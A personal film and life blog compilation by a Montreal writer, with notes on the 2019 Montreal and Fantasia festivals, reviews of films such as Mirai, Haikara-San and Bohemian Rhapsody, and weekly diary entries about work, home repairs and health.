FFM 2019

Montreal-World-Film-Festival

Monday morning, the president of the Montreal World Film Festival, Serge Losique, has announced in a brief press release that “the festival will take a break this year to better prepare the 2020 edition”. The statement mentions Losique’s poor health as the reason for this year’s cancellation of the event. This comes to no one’s surprise as the festival had been declining severely in the last few years and it was plagued with financial troubles. Let’s hope that the festival will indeed use that time to recover and that the gap will not mean the death of this once-famed international event. They also said that more details on the 2020 edition will follow shortly.

I am disappointed because I was looking forward to have my yearly dose of Japanese cinema. However, it was to be expected. I should have made arrangements to free myself to attend the Fantasia festival instead…

Press review:

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Fantasia 2019

Fantasia-2019-bannerThe 23rd edition of the Fantasia International Film Festival, the top genre film festival in North America, will be held (mostly) at the Concordia Théâtre Hall from July 11 to August 1st 2019. The festival will open with Hideo Nakata latest movie, Sadako. It will also showcase over an hundred feature films & shorts in horror, sci-fi or fantasy genres and many filmmakers and actors will be attending to introduce their production — including Yamamoto Kiyoshi (Director of Brave Father Online – Our Story of Final Fantasy XIV), Yaguchi Shinobu & Kanekoa Ryon (director and producer of Dance with me), Makoto Tezuka (dir. of The Legend of the Stardust Brothers), Takahiro Umehara (dir. & writer for Moon in the hidden woods), Nao Yoshighai (retrospective), Oshiyama Kiyotaka (dir. of the short Shishigari) and Keita Amemiya (dir. of Garo and speaker of the Master Class on Wed July 31, 2019 7:00 PM at the York Amphitheatre). Tickets will be available at Concordia’s box office and online starting July 6th.

Movies from all over the world will be presented (including five from China, five from Hong Kong, twenty-four from South Korea and two from Taiwan), but here we are interested mostly in the forty-five production from Japan:

Anime

Live-Action

This year there’s lots of horror and lots of shorts, many anime and a few titles to watch closely (like Human Lost, The Relative worlds, Garo, Gintama 2, and The island of cats).

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Bohemian Rhapsody

BohemianRhapsody-covI never considered myself a fan of Queen (but my wife was one), however, as I was watching this movie, I realized that I knew (or had heard) all the songs featured in the movie. Bohemian Rhapsody is, of course, a biopic about the music band Queen — telling us how would-be graphic designer (lead vocalist & songwriter Freddy Mercury), electronician (bass guitarist John Deacon), dentist (drummer Roger Taylor) and astrophysician (guitarist & songwriter Brian May) got together to make musical history. It seems a relatively faithful depiction of their collective life — or at least its highlights in fast-forward — focusing on the dynamic of the group interaction, the fact that they created music that allowed the audience to participate in their live performances, and giving some interesting insight on the genesis of some of the most iconic songs. As it is to be expected, the movie is centred mostly around Freddy Mercury and his bisexuality.

The choice of actors is excellent as they really look like the part. The acting is also good and their stage and musical performances are particularly remarquable. This movie will certainly get an entirely new generation to discover Queen’s music. It is rather uneven, far from being perfect, but it is well-made and the musical number makes it quite entertaining. It was well received (with a 8.1 rating on IMDb — although there is an interesting discrepancy on Rotten Tomatoes between the critics’ rating, 61%, and the audience’s rating, 86%). In any case, it certainly deserves to be seen, wether you like Queen or not. stars-3-5

To learn more about this title you can consult the following web sites:

[ AmazonBiblioGoogleIMDbOfficialWikipedia ]

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Mirai

Mirai-jpFrom acclaimed director Mamoru Hosoda (Wolf Children) comes a daringly original story of love passed down through generations. When four-year-old Kun meets his new baby sister, his world is turned upside down. Named Mirai (meaning “future”), the baby quickly wins the hearts of Kun’s entire family. Kun becomes increasingly jealous of her, until one day he storms off into the garden, where he encounters strange guests from the past and future – including his sister Mirai, as a teenager. Together, Kun and Mirai go on a journey through time and space, uncovering their family’s incredible story, in this magical and emotionally soaring adventure about the ties that bring families together and make us who we are.” (From Universal website)

Mirai (未来のミライ / Mirai no Mirai / lit. “Mirai of the Future”) is a beautiful story about good parenting and loving our siblings or family. Kun is a young boy who is jealous of his newborn sister Mirai. However, the genealogical tree that sits in the courtyard of their small house in Yokohama shows him scene of past and future life of his family members (his teenage sister, his mother, his great-grand-father, even the family dog!) so he can relate to them and learn to appreciate them better. Or this is a boy with an extraordinary imagination!

The animation is excellent and offers very realistic background illustrations that you would think it’s CGI but they are actually hand-drawn (although there is CGI in the movie). In fact, it is so crisp that it feels a little cold. For such a story about family I would have preferred a style that evoke more warmth. I particularly like the design of the modern house, conceived by the father (who’s an architect), that takes advantage of the narrow space and the hill to build in several level, with lots of steps.

Animated by Studio Chizu and distributed by Toho (GKids in North America), Mirai was created, written and directed by Mamoru Hosoda (The Girl Who Leapt Through Time, Summer Wars and The Boy and the Beast), with character designs by Hiroyuki Aoyama, animation direction by Ayako Hata & Hiroyuki Aoyama, art direction by Takashi Omori & Yohei Takamatsu and music by Masakatsu Takagi. The voice cast includes  Haru Kuroki / Victoria Grace as Mirai, Moka Kamishiraishi / Jaden Waldman as Kun, Gen Hoshino / John Cho as Father, Kōji Yakusho / Victor Brandt as Grandfather, Kumiko Asou / Rebecca Hall as Mother, Masaharu Fukuyama / Daniel Dae Kim as great-grandfather, and Mitsuo Yoshihara / Crispin Freeman as Yukko the dog. 98 min., rated PG (for thematic elements including some scary images). It was favourably received by the audience (rating of 7.1 on IMDb and of 92% / 83% on Rotten Tomatoes). It’s a fine exemple of Japanese animation that everyone should see. stars-3-5

To learn more about this title you can consult the following web sites:

[ AmazonANNGoogleIMDbOfficialWikipediaYoutube ]

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Haikara-San: Here Comes Miss Modern

My wife read an interview of Waki Yamato in Fujin Kōron (a Japanese women’s public opinion magazine) where she was talking about a recent anime adaption of her manga Haikara-san. My wife, who enjoyed the manga when she was a teenager, told me she would like to see this animation. Therefore I obliged.

Haikara-san_ga_toru-manga

Excerpt from the manga (from Frederik L. Schodt Manga! Manga! The World of Japanese Comics, p. 90).

Haikara-San: Here Comes Miss Modern (はいからさんが通る / Haikara-san ga tōru) is one of those shōjo manga published in the 70s that I wish would be one day translated either in French or English so I could read them. This traditional shōjo style might not be very popular amongst today’s manga reader, but it was beautiful in many ways and their stories were always quite compelling. The manga was serialized in Shōjo Friend between 1975 and 1977 and compiled into 8 volumes by Kodansha. The manga was first adapted into an animated TV series (TV Asahi, 42 eps, 1978-1979), then into several live-action TV movies (on KTV in 1979, on Fuji TV in 1985, by Toei in 1987, and on TBS in 2002) and was even the subject of a Takarazuka revue in 2017. Finally, it was adapted into two anime movies: Gekijōban Haikara-san ga Tōru Zenpen – Benio, Hana no 17-sai  [劇場版 はいからさんが通る 前編 ~紅緒、花の17歳~ / lit. “Theatrical version, Here comes miss modern, first part: Benio, 17 years’ flower”] (November 2017, 97 mins, already available on Blu-ray from The Right Stuf) and Gekijōban Haikara-san ga Tōru Kōhen – Tokyo Dai Roman [劇場版 はいからさんが通る 後編 ~花の東京大ロマン~ / lit. “Theatrical version, Here comes miss modern, second part: Tokyo great romance of flower”] (October 2018, 105 mins). 

[ ¡ WARNING: The following MAY contain traces of spoilers! People allergic to the discussion of any plot’s elements before seeing/reading the story themselves are strongly advised to take the necessary precautions for their safety and should avoid reading further ! ]

Haikara-San-Movie1-bluRayIn the first movie, we follow the life of 17-year-old Benio Hanamura who was raised by her military father. She is a tomboy who likes to practise kendo with the girly neighbour Ranmaru (who was raised to become a kabuki actor). The story is set in the Taishō era, when Japan is trying to “occidentalize” itself. She wants to be “modern” and believes in a woman’s right to have a career and to marry for love. Unfortunately, her father want to arrange a marriage with one of his young subordinate, lieutenant Shinobu Ijuin, because their grand-parents were in love but could never marry and made the pact that the Hanamura and Ijuin families would be one day reunited. Benio refuses and tries to elope with Ranmaru, who is secretly in love with her. She also discovers that her best friend Tamaki is in love with Shinobu. She is nevertheless sent to Shinobu’s household to help and learn the domestic duties of a wife. As she is finally falling in love with him, she infuriates her father’s superior and Shinobu is sent to the front in Siberia. Not long after, he is reported missing in action or maybe dead…

The movie was written and directed by Kazuhiro Furuhashi, with character designs by Terumi Nishii, art direction by Kentaro Akiyama and music by Michiru Oshima. The cast includes Mamoru Miyano as Shinobu, Saori Hayami as Benio, Asami Seto as Tamaki, Yuuki Kaji as Ranmaru, and Unshō Ishizuka as Major Hanamura.

In the second movie, Benio tries to go on with her life and hopes that Shinobu might come back one day. In the meantime, she keeps taking care of his grandparents household and tries to find a job. After many unsuccessful attempts she is finally hired as reporter by a small newspaper headed by Tosei, a handsome but misogynistic editor (he’s literally allergic to women due to issues with his mother). She goes to Manchuria to investigate a band of rebels supposedly headed by a Japanese deserter. She meets with him and discovers he is Onijima, a friend of Shinobu in the army, who tells her how Shinobu got missing after saving his life. Later, back in Tokyo, she is covering the visit of a Russian noble couple in exile, Count Michaellov and countess Larisa. Benio is shocked to see that the count looks exactly like Shinobu. Actually, it’s him but he suffers from amnesia. Larisa saved and nursed him to replace her dead husband Sasha (who was in fact Shinobu’s younger half-brother, because Shinobu’s German mother left to marry a Russian noble—yes, I know, it’s complicated). When Shinobu eventually recovers his memory, he cannot marry Benio because he is now married to Larisa and feels indebted to her as she is dying of tuberculosis. Heartbroken, Benio decides to marry Tosei instead (who has discovered that he actually loves her). But on their wedding day the great Kanto earthquake occurs and Larisa finally dies of her disease. Benio and Shinobu can finally be reunited…

The second movie was directed by Toshiaki Kidokoro, with a script by Kazuhiro Furuhashi, character designs by Terumi Nishii, art direction by Kentaro Akiyama and music by Michiru Oshima. The cast includes, besides the cast from the first movie, Kazuya Nakai as Shingo Onijima, Maaya Sakamoto as Larisa, and Takahiro Sakurai as Tōsei Aoe. 

[ ¡ END of possible spoilers warning ! ]

Haikara-San movies are beautifully animated, with crisp, up-to-date quality animation (quite different from the style of late-70s anime, which tend not to age very well—although the TV series is now also available on blu-ray in Japan). The story offers typical Japanese romantic drama filled with lots of comedy. However, despite the funny antics of the characters, the story tackles very serious subjects like feminism and war. I enjoyed it a lot and I highly recommend you to, at least, have a look. If only someone would translated the manga… stars-3-5

For more information you can consult the following web sites:

[ ANNGoogleIMDbOfficialRight StufWikipediaYoutube ]

 

© 2017 Waki Yamato, Kodansha / “Haikara-san” Partners.

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They Shall Not Grow Old

91lwssevehl._sl1500_That movie has been hyped so much that when I finally got to see it I was rather disappointed. It is not really a documentary as the picture are shown as it is without any context (places, dates or names). It is just footage of the First World War (the war to end all wars they said, but it ended up being the most useless, senseless war of all time) with voiceover by survivors who describe their experience. Not all footage has been restored, retimed and colourized — but most of it. And I am wondering when those testimonies were recorded — as the voice sounded like old men and the recording seems of pretty good quality, so it must have been done at a time when they already had good equipment, although the sound had probably been restored the same way the pictures were. Both the original footage and the audio recording of the British soldiers come from the archives of the Imperial War Museum and the BBC.

All in all, the movie is still pretty interesting as it give us the chance to witness the Great War in colour, as it was experienced by the men who fought it. It gives a really good impression of what it must have felt like. The war is not an impersonal historical event anymore as we get closer to the soldiers. It is a fit tribute for the 100th anniversary of the end of the war. I was expecting more visually, but Peter Jackson’s team did a really good work (it’s a great technological feat to gather, edit and restore all this footage) and it is therefore a must-see movie. Through this those young men will indeed never grow old and hopefully such horror will never be repeated.

The movie was shown on the BBC and is already available on Blu-ray & DVD in U.K.. It was shown in theatre for one day in North America and hopefully will be picked up for broadcast (Netflix? Amazon?) and released in DVD/Blu-ray soon. The critical response was very positive (8.6 on IMDb and 98% on Rotten Tomatoes). stars-3-0

To learn more about this title you can consult the following web sites:

[ AmazonGoogleIMDbWikipediaYoutube ]

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Deadpool

deadpool-posterA comedic take on the superhero movies (and particularly the X-Men). It offers the usual plethora of stunts and special effects, as well as the usual story [¡SPOILER! although it’s all in the trailer…]: mercenary boy is madly in love with girl, but has to leave her to go seek a cure for his cancer which turn him into a super-healing anti-hero with a new ugly face so he cannot come back to her but instead seeks revenge against the vilain who did that to him however in counter-action the bad guy kidnaps girl therefore he has to save her and they ends up back together in a happy ending but the guy remains a jerk.

It’s all rather ordinary but what’s distinguish this movie is the dialogues (actually, mostly the monologues, performed by Ryan Reynolds) which are rather funny. Frankly, the movie should have been titled “deadpan”… It’s another brainless action movie. Nothing serious (the good thing is that it doesn’t take itself seriously at all) but it offers some twisted entertainment. A fan-boy movie.

It is based on a Marvel comic book set in the X-Men’s universe. Despite being called vulgar, infantile, obnoxious, irreverent, etc., it was well received (mostly by  the comics book fans) with ratings of 84% / 90% on Rotten Tomatoes and 8.0 on IMDb ! Rated R…stars-2-5

To learn more about this title you can consult the following web sites:

[AmazonBiblioGoogleIMDbOfficialWikipediaYoutube]

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Pacific Rim Uprising

pacificrim2-posterAs bad as this movie is you cannot but love it if you are a mecha (or giant robots) and a kaiju fan — which I am. There’s plenty of action (although not very realistic and playing loose with the laws of physics), not much story, a hint of human drama, and a bit of humour. There’s not much originality either, but let’s call it an “hommage.” The term Jaeger reminds me a little of Heavy Gear (although it could come from so many other sources: it means hunter in German, could refers to infantry troops, a bird, a car, or several anime or manga), some designs seems inspired by many giant robots anime (Giant Robo, Mazinger, The Big O) and, of course, the kaiju part if inspired by Ultraman, Godzilla and Gamera, but the biggest “influence” is without contest Neon Genesis Evangelion — and this is probably the closest we’ll ever get to an Evangelion live-action movie. The alien monster attacking Earth, using alien technology to develop weapon against them, the synchronization part, the tall slender design similar to the rogue jaeger Obsidian Fury (damn! I love that design!): that’s seems all “inspired” by Evangelion. Although they’ve gutted all the really interesting stuff (mystical bits and human drama) it is still pretty entertaining.

There is plenty of cool stuff in this movie. No transforming robot but instead a combining kaiju. Not a bad idea. And I’ve certainly LOL when the pilots of Bracer Phoenix have to eject and land at the feet of a statue of a… Gundam! Beautiful and really funny. I couldn’t fail to notice the heavy Chinese presence in the cast and crew (not surprising since producer Legendary was bought by the Chinese Wanda Group and some of the shooting was done in a studio in China). It did relatively well at the box office but was not particularly liked (rating of 5.6 on IMDb and 44% / 41% on Rotten Tomatoes !).

All in all, it offers brainless sci-fi action and lots of mecha & kaiju nostalgia. If you are a fan. stars-3-0

To learn more about this title you can consult the following web sites:

[ AmazonBiblioGoogleIMDbOfficialWikipediaYoutube ]

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The Bill Murray Stories

billmurraystoryApparently there are lots of stories on the internet about Bill Murray doing some crazy spontaneous things where he crashes a party or a wedding picture session, comes behind someone in a public toilet and puts his hands on the person eyes saying “No one will ever believe you”, or ends up doing the dishes in some kid’s apartment. He just shows up out of the blue, acts like he is just a normal guy (not a celebrity) but in a way that touches people’s life. Could those stories be true? That’s the question which Tommy Avallone asked himself and decided to make a documentary about it. 

The Bill Murray Stories: Life Lessons Learned From a Mythical Man is a documentary that retells those stories and interviews the people who experienced them. It really seems that most stories — at least those told in the documentary — are true and there is pictorial or video evidences to prove it. Avallone then goes on asking himself: why? Why someone like Bill Murray would do such things? To goof around? As a publicity stunt? Not at all. It is just who Bill Murray is. It is part of an improv thing and part of a life philosophy (something like taoism or zen). He just like to live in the moment and make people happy.

Personally, I am just wondering what makes people wake up in the morning and decides to make a documentary about Bill Murray. You are in movie school and need to do one as an assignment? Or really want answers to those questions and decide to just films everything and try to make money out of it? Or you just have the “reporter” gene in your blood? I guess someone should make a documentary about that.

It’s not a very good documentary (it’s clumsy, particularly toward the end, and I dislike when someone makes a documentary about themselves looking for something) but I enjoyed it because I not only learned a lot about who is Bill Murray, but it was also quite entertaining (lots of funny anecdotes and movie excerpts). It reminds me of this book that I once saw in the library: The Tao of Bill Murray: Real-Life Stories of Joy, Enlightenment, and Party Crashing, by Gavin Edwards and R. Sikoryak, which was basically asking the same questions. [ Amazon / Goodreads / Library ]

Apparently, Bill Murray is quite an interesting person. But whether you are interested or not, whether you like documentaries or not, it doesn’t matter: if you just take the moment to watch this sixty-seven minutes movies you will certainly enjoy it. And maybe, maybe, you’ll take something out if it and wonder, like me, could I ever be that spontaneous and really live in the moment? stars-3-0

To learn more about this title you can consult the following web sites:

[ AmazonGoogleIMDbNetflixRotten TomatoesWikipedia ]

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Golden Globe: No Japanese winners

At the Golden Globe 2019, held on January 6th, the Hollywood Foreign Press Association has awarded Bohemian Rhapsody for the Best Motion Picture (Drama), Green Book for the Best Motion Picture (Musical or Comedy), Glen Close for Best Performance by an Actress in a Motion Picture (Drama), Rami Malek for Best Performance by an Actor in a Motion Picture (Drama), Olivia Colman for Best Performance by an Actress in a Motion Picture (Musical or Comedy), Christian Bale for Best Performance by an Actor in a Motion Picture (Musical or Comedy), and Alfonso Cuarón for Best Director.

Surprisingly (or is it, really?), I have not seen any of the nominated TV series either for Drama (The Americans [the winner], Bodyguard, Homecoming, Killing Eve, or Pose) or for Musical/Comedy (Barry, The Good Place, Kidding, The Kominsky Method [the winner] or The Marvelous Mrs. Maisel). And I am not sure I am interested. Although, I’d like to see  Bohemian Rhapsody, The Favourite or Crazy Rich Asians (when they comes out on dvd)…

However, the categories that interest us the most are those where Japanese movies were in nomination. Unfortunately, no Japanese movie received any award this year.

The Best Animated Motion Picture award went to Spider-Man: Into the Spider Verse. It is quite disappointing because I thought that Mirai had some chance. Even the heavily Japanese-inspired Isle of Dog [on which I commented] deserved the award better. That’s a shame.

The Best Foreign Language Motion Picture award went to the Mexican movie Roma. However I was really cheering for Shoplifters [the latest film by Hirokazu Kore-eda, which was shown at the FNC and commented by Claude R. BlouinAsianWiki / IMDb / Wikipedia]. It is just bad it didn’t win.

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Murder on the Orient Express

268x0wA murder on a luxurious train forces a Belgian detective on vacation to get back to work. It is an entertaining and beautiful movie (with nice CGI scenes of old cities or of the train slithering through the snowy mountains) but it is mostly unremarkable — beside the many inconsistencies, the average [over-] acting (despite an all-star cast) and the outrageously grotesque moustaches of Hercule Poirot. Frankly, I did not like Kenneth Branagh’s interpretation of Agatha Christie’s landmark character. I guess it was one adaptation too many for this famous 1934 detective novel… Over all, despite a Box Office success (revenu were more than six times the movie’s budget), it’s a rather disappointing movie. It got a lukewarm reception with ratings of 58% / 54% on Rotten Tomatoes and 6.5 on IMDb. stars-2-5

To learn more about this title you can consult the following web sites:

[ AmazonBiblio MtlGoogleIMDbWikipediaYoutube ]

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Transformers: The Last Knight

TransformersTheLastKnight-covThis story literally puts Earth against Cybertron. It’s Megatron versus Unicron. The Transformers have been here since the night of time. They fought with King Arthur, they fought in World War One, and even against Hitler. But we didn’t know about it because their existence has been occulted by a secret society started by Merlin himself, as he was entrusted with a power staff to control them all (or at least the three-headed dragon made of the bot-knights of the round table!). And Stonehenge is a weapon (more or less; maybe more a socket for a weapon…)!

Under the influence of Quintessa, Optimus has become Nemesis Prime! However, Yeager’s Autobot partner, Bumblebee, turns him around and, with the help of the bot-knights, they fight back against Quintessa and Megatron’s plan to destroy Earth. But it is far from over as the fight will continue with yet another movie (no, please, make them stop!)…

This movie offers a few good ideas (transformers in the past, steampunk influences, introduction of interesting new characters like Viviane or Izabella), but they are unfortunately slapped together in a messy way. The editing is horrendous, the dialogues terrible and don’t even get me started with the bad humour! At 2h34, the movie is way too long and the action is going too fast — transformations are just a blur and it feels like you’re watching a movie in fast-forward! Definitely entertaining but also rather annoying (particularly Cogman, the Bot-ler). I guess it is mostly for the hard-core fans.

The movie made plenty of money but it was disliked by viewers (with a mere 15% critic rating and 44% audience score at Rotten Tomatoes and 5.2 on IMDb — strangely the next film, standalone prequel Bumblebee, did very well with a Rotten Tomatoes critic rating of 94%). Maybe it’s time to pause and rethink the franchise… stars-2-0

To learn more about this title you can consult the following web sites:

[ AmazonBiblio MtlGoogleIMDbWikipediaYoutube ]

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Solo: A Star Wars Story

Solo-covThe latest Star Wars movie offers us quite an interesting (but simple) story with the usual (improved?) special effects. It’s the story of someone who gets out of the slums, with audacity and a bit of courage, doing what’s need to be done. A story of love and betrayal. It has a moral (hey, it’s Disney after all), lots of action and great humour. It also has a bunch of very interesting characters (and excellent acting to go with it). It’s sort of a growing-up story, about how a slum kid become… well… a kind of accidental hero. For the Star Wars fans it also offers lots of back story: how Han got his name, how he met Chewbacca and, later, Lando, how he got the Millenium Falcon and what makes it such a special ship, and, finally, how the rebellion started. 

It might not have the depth of the original movies (although that fame might be due in part to the legend, greater music and fantasized childhood memory) but it is, in itself, a good movie. It might not be THE Star Wars movie but, as the title says, it is A Star Wars movie. However, it is a fact that it didn’t performed well at the box-office, barely breaking-even, and was less appreciated by the fans than the critics with an audience score of 64% versus a critical rating of 70% on Rotten Tomatoes.  It’s a little blend, yes, but it’s still quite entertaining and well worth watching. stars-3-0

To learn more about this title you can consult the following web sites:

[ AmazonBAnQBiblio MtlGoogleIMdBOfficialWikipediaYoutube ]

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Capsules

Movie Capsule-reviews (02.018.145)

Star Wars: The Last Jedi

StarWars-LastJedi-covThis movie offers good action and relatively interesting storytelling. It fits pretty well within the saga and it is a great joy to see Mark Hamill as Luke again. It is beautifully made and succeeds to express the depth of the characters’ angst facing their destiny — but with a good dose of humour. However, this movie is turning a page, as Disney seems to bring the franchise into a new direction. Yes, let’s get rid of all the old characters to reboot the story with an entire new cast! Good? Bad? We’ll see. I greatly enjoyed the movie but, strangely, there’s a disparity on Rotten Tomatoes between the critics’ rating (91%) and the audience’s (46%). stars-3-5

[ AmazonBiblioGoogleIMdBOfficialWikipediaYoutube ]

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Maze runner: The Death Cure

MazeRunner-DeathCure-covBetter than expected. I liked it despite the low Rotten Tomatoes rating (42%). Good action (bigger and louder than the previous two movies) and drama (although not always credible and sometime predictable). It is supposed to be the end of the trilogy, but the open ending might suggest otherwise… After too many average YA novel adaptations (i.e. Hunger Games or Divergent) it doesn’t feel too original, although I am a sucker for any dystopian, post-apocalyptic story — even with a simili-zombie twist. Anyway, I am not too demanding with that kind of movies: I just want to be entertained. stars-2-5

[ AmazonBiblioGoogleIMdBOfficialWikipediaYoutube ]

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Fahrenheit 451

fahrenheit451-covThe latest TV movie adaptation of the great Ray Bradbury’s novel is quite disappointing. It is a slow burn: there’s not much action, the acting is not that great, and the storytelling felt like cold ashes compared to my memory of the novel. Although it is not that different from the previous, interesting but painfully slow, adaptation by François Truffaut. Evidently, Ramin Bahrani wanted to rekindle Bradbury’s dystopian future (where “firemen” burned books instead of putting out fires) in order to give a warning about the dangers of a presidency during which truth and personal liberties are eroded a little more every day. stars-2-5

[ GoogleIMdBOfficialWikipediaYoutube ]

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Assassin’s Creed

AssassinsCreed-covI never played the video game but despite this I still enjoyed the story. The concept of the “genetic memory” is quite far-fetched but still somewhat interesting. Strangely, I was expecting a movie set in the past, not in the modern days, so I was a little caught off-guard. It is amusing to see the templar knights portrayed as the bad guys for once. Can wanting to end all violence and wars be a bad thing? Of course, it is if it involves removing all free will from the people! 

It is worth watching mostly because it is so visually beautiful and entertaining — but not much else. stars-3-0

[ AmazonBiblioGoogleIMdBOfficialWikipediaYoutube ]

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All the way

AllTheWay-covThis is a biographical TV movie mostly about Lyndon B. Johnson’s struggle to pass the Civil Rights Act. The title comes from LBJ’s campaign slogan (and how his opponents’ misused it!). It is an interesting historical movie, but it also offers sort of a commentary on the contemporary political situation. Politics don’t really change much with time and all the political in-fighting is quite reminiscent of the 2016 election campaign. However, fifty-four years after LBJ passed his civil right bill that was supposed to put an end to white people killing black people, where are we? Again, nothing seems to have changed much. Quite an educative movie indeed. stars-3-0

[ AmazonBiblioGoogleIMdBWikipediaYoutube ]

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Youth

Youth-covTwo retired friends, composer Fred Ballinger (Michael Caine) and filmmaker Mick Boyle (Harvey Keitel), are spending their vacation in the Swiss Alps. Fred is bugged by the Queen’s emissary who want him to perform for the prince’s birthday, but he refuses because the music piece they chose was written for his wife (who has now Alzheimer’s). Mick is putting the finishing touch on the script of his next movie. Family and friends will bring disturbance, drama and, eventually, tragedy.  This is another relatively contemplative movie by Paolo Sorrentino (Il Divo, La Grande Bellezza). It is rather similar to The Great Beauty. It is a really beautiful movie, with great actors (although the acting itself seems a little contrived sometimes), and which offers deep reflections on life. I enjoyed it a lot. stars-3-5

[ AmazonBiblioIMdBWikipediaYoutube ]

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What the health

What_the_health-covWhat the Health is the groundbreaking follow-up film from the creators of the award winning documentary Cowspiracy. The film follows intrepid filmmaker Kip Andersen as he uncovers the secret to preventing and even reversing chronic diseases – and investigates why the nation’s leading health organizations don’t want us to know about it. With heart disease and cancer the leading causes of death in America, and diabetes at an all-time high, the film reveals possibly the largest health cover-up of our time.”

[Text from the official web site ]

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Pilote Spécial Valérian

Pilote-Special_Valerian-cov“Issus de l’imagination débordante de Pierre Christin et de Jean-Claude Mézières, les personnages de Valérian et de Laureline sont apparus pour la première fois dans les pages du magazine Pilote en 1967. Par son inventivité et son audace, cette série est très rapidement devenue la référence absolue pour les lecteurs de bande dessinée de science-fiction.

Cinquante ans plus tard, à la veille de la sortie du film Valérian et la Cité des mille planètes de Luc Besson, ce numéro hors-série rend hommage à la saga et à ses auteurs.”

[ Texte de la couverture arrière; voir aussi le site de l’éditeur ]

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Weekly notable news (w17-19)

Another few weeks have passed quickly without anything significant happening: More crazy weeks at works and rainy week-ends where I don’t feel I accomplished anything. I am tired and really need a longer vacation. Next week I’ll start a ten-day holiday where I’ll be able to rest (sleep late!), catch up on stuff (writing, work around the house), travel around (Ottawa’s Tulip’s festival, Quebec City, botanical garden, museums, the libraries book sale, bury my mother’s ashes, etc.) and, above all, completely forget about work for a while. Or so I thought!

In hope for greener pastures, I have applied for a new library job (more responsibilities, further from home, but a greater challenge for my skills and a much better salary). However, after a lengthy processus, they scheduled an interview right in the middle of my vacation and at nine o’clock on the morning of my BIRTHDAY! Not only they made me filled a psychological test online (it’s called “an inventory of personality” and it will probably reveal that I am a total psycho) but they didn’t even bother to reply when I asked if it was possible to reschedule, so I’ll do my best to be there and we’ll see. Que sera, sera.

The weather has really been lousy lately. May is supposed to be the nicest month of all (and not only because it’s my birthday). Overall, it has been cold and rainy. It even snowed a little last week. In may! Hopefully, it will not portend that the summer will be likewise, and it will soon improve (at least for my vacations, please!).

Something strange happened at the beginning of the month: out of the blue, one late afternoon, I started to smell a vague odour of gazoline in the basement. It didn’t come from the obvious source, the garage. Usually, such smell comes from the sewage (through a dried P-trap) or from a dead animal but, in this case, it seemed to come from the pit of the water-pipe entry. I called the city and was told not to worry, it was “probably” not toxic and might have come from some work on the pipes in the neighbourhood (I couldn’t locate any nearby). I cracked open a window and the next morning it was gone. I never knew what it was.

The unlucky streak didn’t stop there. Not only I broke a piece of tooth while eating a granola bar during my lunch break at work (and I am still waiting for the dentist to find some spare time for an appointment), but I also discovered that the damage to the rear balcony of the house is more extensive than I first thought. The supporting posts are not planted deep enough (they rest on concrete supports that are just on the surface while they should be in soil deep enough so it never freezes in winter — who are the morons who built this house?!) so the ground expansion due to the freezing is slowly ripping the balcony off the house. So much that it has now become worrisome. We will have to do the repairs sooner than expected and it will probably be quite costly! What an exciting boring life!

Again, I must remind myself not to let the outside world rattle my core. Carpe diem, my boy, carpe diem!

Finally, I managed to stay acquainted with some of the affairs of the world and gathered notable news & links of interest — which I share with you (in both french or english, and organized into a few basic categories), after the jump.

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Monthly notable news (W12-16)

Another month (or so) has passed at lightning speed. Lots of stuff to do, particularly now that spring has come. We had plenty of rain at first, however now the weather is more enjoyable but still a little chilly. The humidity has made my left knee (and a bit my right ankle) hurt and, for a week, my back pain came back with a vengeance — libraries can be hard work sometimes (and not only for the soul; although it can be amusing too). I also had an episode of high blood glucose and I feared I would become a full-blown diabetic but it returned to my pre-diabetic “normal” after a week. This is no work for old men…

It has been a busy month. We’ve visited the notary twice for mom’s succession paperwork and there was plenty of work around the house particularly for the garden cleaning. I also had to deal with many unexpected problems: some strange Bell bug kept me from my blog for a week and I had some leaky roof, front door handle and water heater issues (the latter two just this weekend). Installing two more Outdoor Nest Cams (as one of my cheap IP cameras died following water damage inside the window) has been a strain on the Bell Wi-Fi causing serious performance problems. I’ll probably solve this issue by going back to Videotron, but only for the internet (I’ll share my sister’s).

A question on FB made me look back at my collection of old books and share my love for them. I also purchased a new Telephoto Mirror Lens for my camera. My TV viewing habits didn’t change much. I still watch too much TV: the new season for old series (When calls the Heart, Into the Badlands, Doctor Who) but two series are particularly worth mentioning for their quality: Anne and The Expense (and its beautiful opening credits with Norwegian vocals — listen on Soundcloud and Youtube). I also wanted to go see Ghost in the Shell in theatre but the reviews were not too good so I decided to wait. However, I’ll definitely won’t miss the Valerian‘s movie when it is released!

I have always considered blogging (and writing in general) as an essential mental exercice (as much as my daily walks) to keep in shape, the mind sharp and age better. However, now I have some doubt. It sometimes feels like a strain since I have less and less time to do it. I have to split my waking hours between my wife-together time, my me-time and work (from which I always come back exhausted). Lately, I had lots of problems with the blog (the Dropbox issue, not being able to log in for an entire week) and it leaves me with the dilema of having to choose between fixing the layout on the old posts or writing new material (or try to do both and be unhappy with the result). I just wonders if it is really worth it.

Maybe I should try less to DO something and just take more time to enjoy life right now (going to movies, to the museums, to the botanical garden, READ more, etc.) without always thinking about sharing it, what I would say about it, which angle I could use to explain the subject better or tell an interesting story about the whole experience. My health won’t improve with the years and I am quite sure that there is less road in front of me than behind, so maybe I should just take the most of it and enjoy the moment. Who’s reading me anyway. Although, I often say that I am writing for myself, so I can read what I wrote one day and remember how it was (particularly when I would not remember it at all). It is just like a journal left adrift in the binary stream of time, to create some sort of posterity.

Both ways seem kind of selfish: if I do write I feel guilty of not doing more of my life and, if I don’t, I feel I am letting myself down. Either way it is a losing battle. •Sigh* It’s the age-old depressing philosophical question: Did I ever really lived and did it really matter? I can only press on and hope for the best.

Finally, I nevertheless managed to stay acquainted with the (ever so depressing) affairs of the world and gathered a few notable news & links — which I share with you (in both french or english, and roughly divided into a few thematics), after the jump.

[ Traduire ]

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Weekly notable news (W42)

Not much happened this week. Same old, same old, as we say. Some aberrations at work keep exasperating me (but there’s only 552 more weeks to endure). On the way back from a doctor’s appointment, my wife and I walked through the mountain to admire the colours of fall. It was superb and I wonder why we don’t do this kind of walk more often. We’ve also spent time watching more of the American presidential insanities, two excellent animated features (Miss Hokusai and Osamu Tezuka’s Buddha Movie 1: The Red Desert! It’s Beautiful) as well as a new episode of Poldark. For my part, I’ve also started a promising new series (Westworld) and watched the season finale of Halt and Catch Fire. And I probably did a zillion other things (like updating my anime & manga bibliography) that I can’t even remember. But, does it really matter?

However, I do remember that I managed to find some time to stay acquainted with the affairs of the world. I therefore share with you a few notable news & links that I came across lately (in no particular order):

 

Funnies


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Weekly notable news (W39)

